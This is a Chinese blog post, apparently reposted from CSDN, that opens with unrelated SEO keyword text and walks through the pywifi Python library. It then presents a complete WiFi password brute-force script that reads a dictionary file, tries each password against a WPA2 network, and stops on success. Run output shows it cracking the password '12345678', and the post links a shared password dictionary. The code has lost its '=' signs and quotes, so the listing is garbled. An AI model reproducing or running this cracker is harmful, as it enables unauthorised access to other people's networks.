网站建设纯免费官网,免费咨询劳动仲裁,外贸推广如何做,网站如何清除百度收录pywifi模块介绍#xff1a; pywifi提供了一个跨平台的Python模块#xff0c;用于操作无线接口 支持Windows和Linux 在python 2.7和3.5下运行
小小的讲解#xff1a;
1.wifi接口的操作#xff1a; 这里的接口指我们用来执行wifi操作#xff08;例如#xff1a;扫描…pywifi模块介绍 pywifi提供了一个跨平台的Python模块用于操作无线接口 支持Windows和Linux 在python 2.7和3.5下运行
小小的讲解
1.wifi接口的操作 这里的接口指我们用来执行wifi操作例如扫描连接断开…的接口
通常我们平台中只有一个Wi-Fi接口就像你主机不能同时连接多个wifi骚操作就算了因此使用索引0来获得Wi-Fi接口
wifi pywifi.PyWiFi() #定义接口操作 iface wifi.interfaces()[0] #这里iface就是获取的wifi接口 #注意以下的iface全部是指通过此方式获取的wifi接口,在实际操作中可以自己另外命名 1 2 3 接口名字
iface.name() #获取wifi接口名称 1 扫描wifiAP
iface.scan() #触发接口扫描附近wifi就是AP啦 1 获取扫描结果
iface.scan_result() #获取先前触发扫描的结果,会返回一个列表哟 1 添加AP配置文件为了连接
iface.add_network_profile(配置文件名) #下面会讲解如何进行配置 1 删除所有AP配置文件为了下一次新的连接
iface.remove_all_network_profiles 1 返回配置文件列表
iface.network_profiles() #你连接上wifi的时候可以用这个试试会返回你连接的wifi的信息 1 连接wifi
iface.connect配置文件名 #通过给定的配置文件连接到指定的AP #注意添加AP配置文件add_network_profile(profile)应该在连接AP iface.connect(profile)之前 1 2 断开AP连接
iface.disconnect() #断开当前的AP连接 1 获取当前接口状态
iface.status()
将返回以下状态码之一相信大家还是能看懂的嘿嘿 const.IFACE_DISCONNECTED const.IFACE_SCANNING const.IFACE_INACTIVE const.IFACE_CONNECTING const.IFACE_CONNECTED 1 2 3 4 5 6 7 8 2.配置文件 生成配置文件对象
profilepywifi.Profile() #生成对象而已接下来就能对他进行配置操作了 1 配置文件的操作方式
ssid - AP的名称 auth - AP的认证算法 akm - AP的密钥管理类型 cipher - AP的密码类型 key optinoal - AP的关键。如果无密码则应该设置此项CIPHER_TYPE_NONE
使用方式 profile.ssidwifi_name #wifi名称 profile.authconst.AUTH_OPEN #auth - AP的认证算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) #选择wifi加密方式 profile.cipherconst.CIPHER_TYPE_CCMP #cipher - AP的密码类型 profile.keypassword #wifi密钥 key optinoal - AP的关键。如果无密码则应该设置此项CIPHER_TYPE_NONE 1 2 3 4 5 必要的说明 auth - AP的认证算法 也是身份验证的算法其实几乎所有AP都使用开放算法尽管我们可以有以下设置
const.AUTH_ALG_OPEN const.AUTH_ALG_SHARED 1 2 akm - AP的密钥管理类型
const.AKM_TYPE_NONE #AP没有安全设置 const.AKM_TYPE_WPAPSK #AP处于WPA模式 const.AKM_TYPE_WPA2PSK #AP处于WPA2模式
AKM_TYPE_WPA和AKM_TYPE_WPA2针对企业的AP这里就不解释了 const.AKM_TYPE_WPA const.AKM_TYPE_WPA2 1 2 3 4 5 6 7 cipher - AP的密码类型
const.CIPHER_TYPE_NONE #如果AP没有安全设置则应将密码类型设置为ProfileAKM_TYPE_NONE const.CIPHER_TYPE_WEP const.CIPHER_TYPE_TKIP const.CIPHER_TYPE_CCMP #通常情况下设置为这个虽然不知道是什么 1 2 3 4 接下来就要灵活使用上面的操作了
代码
还有点小问题针对中文wifi名无法破解
import pywifi from pywifi import const #引用一些定义 import time def testwifi(password): wifipywifi.PyWiFi() #抓取WiFi接口 ifaceswifi.interfaces()[0] #一般来说平台上只有一个Wi-Fi接口。因此使用索引0来获得Wi-Fi接口 #print(ifaces.name()) #我们可以试试输出网卡名称 ifaces.disconnect() #断开网卡连接 profilepywifi.Profile() #定义配置文件对象 profile.ssidroot #wifi名称貌似不能用中文 profile.authconst.AUTH_ALG_OPEN #auth - AP的认证算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) #选择wifi加密方式 akm - AP的密钥管理类型 profile.cipherconst.CIPHER_TYPE_CCMP #cipher - AP的密码类型 profile.keypassword #wifi密钥 如果无密码则应该设置此项CIPHER_TYPE_NONE ifaces.remove_all_network_profiles() #删除其他配置文件 tmp_profileifaces.add_network_profile(profile) #加载配置文件 ifaces.connect(tmp_profile) #按配置文件进行连接 time.sleep(1) #尝试几秒能否成功连接 if ifaces.status() const.IFACE_CONNECTED: #判断连接状态 return True else: return False
def main(): print(start ...) pathrwordlist.txt filesopen(path,r) while True: ffiles.readline() f f[:-1] #去除了这行文本的最后一个字符换行符后剩下的部分 print([-]正在尝试:, f) booltestwifi(f) if bool: print([]wifi连接成功!) print(密码为,f) break else: print([-]wifi连接失败) if not f: #如果文件逐行读取完则退出 break files.close()
if __name____main__: main()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 运行结果
start ... [-]正在尝试: %null% [-]wifi连接失败 [-]正在尝试: %username% [-]wifi连接失败 [-]正在尝试: !#$%^ [-]wifi连接失败 [-]正在尝试: !#$%^ [-]wifi连接失败 [-]正在尝试: !#$%^* [-]wifi连接失败 [-]正在尝试: 000000 [-]wifi连接失败-]正在尝试: 00000000 [-]wifi连接失败 [-]正在尝试: 0123456789 [-]wifi连接失败 [-]正在尝试: 12345678 []wifi连接成功! 密码为 12345678 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 该代码在读取密码文档到20行后会抛出如下错误ERROR Open handle failed但并不影响程序运行和结果
如果有知道是什么原因的希望能在评论区指出谢谢。
关于pywifi模块的官方文档https://github.com/awkman/pywifi 另外分享一个我在网上找的密码字典看起来还不错百度云 密码字典 提取码ntfe ———————————————— 版权声明本文为CSDN博主「这是一个死肥宅」的原创文章遵循CC 4.0 BY-SA版权协议转载请附上原文出处链接及本声明。 原文链接https://blog.csdn.net/qq_28840013/article/details/85141156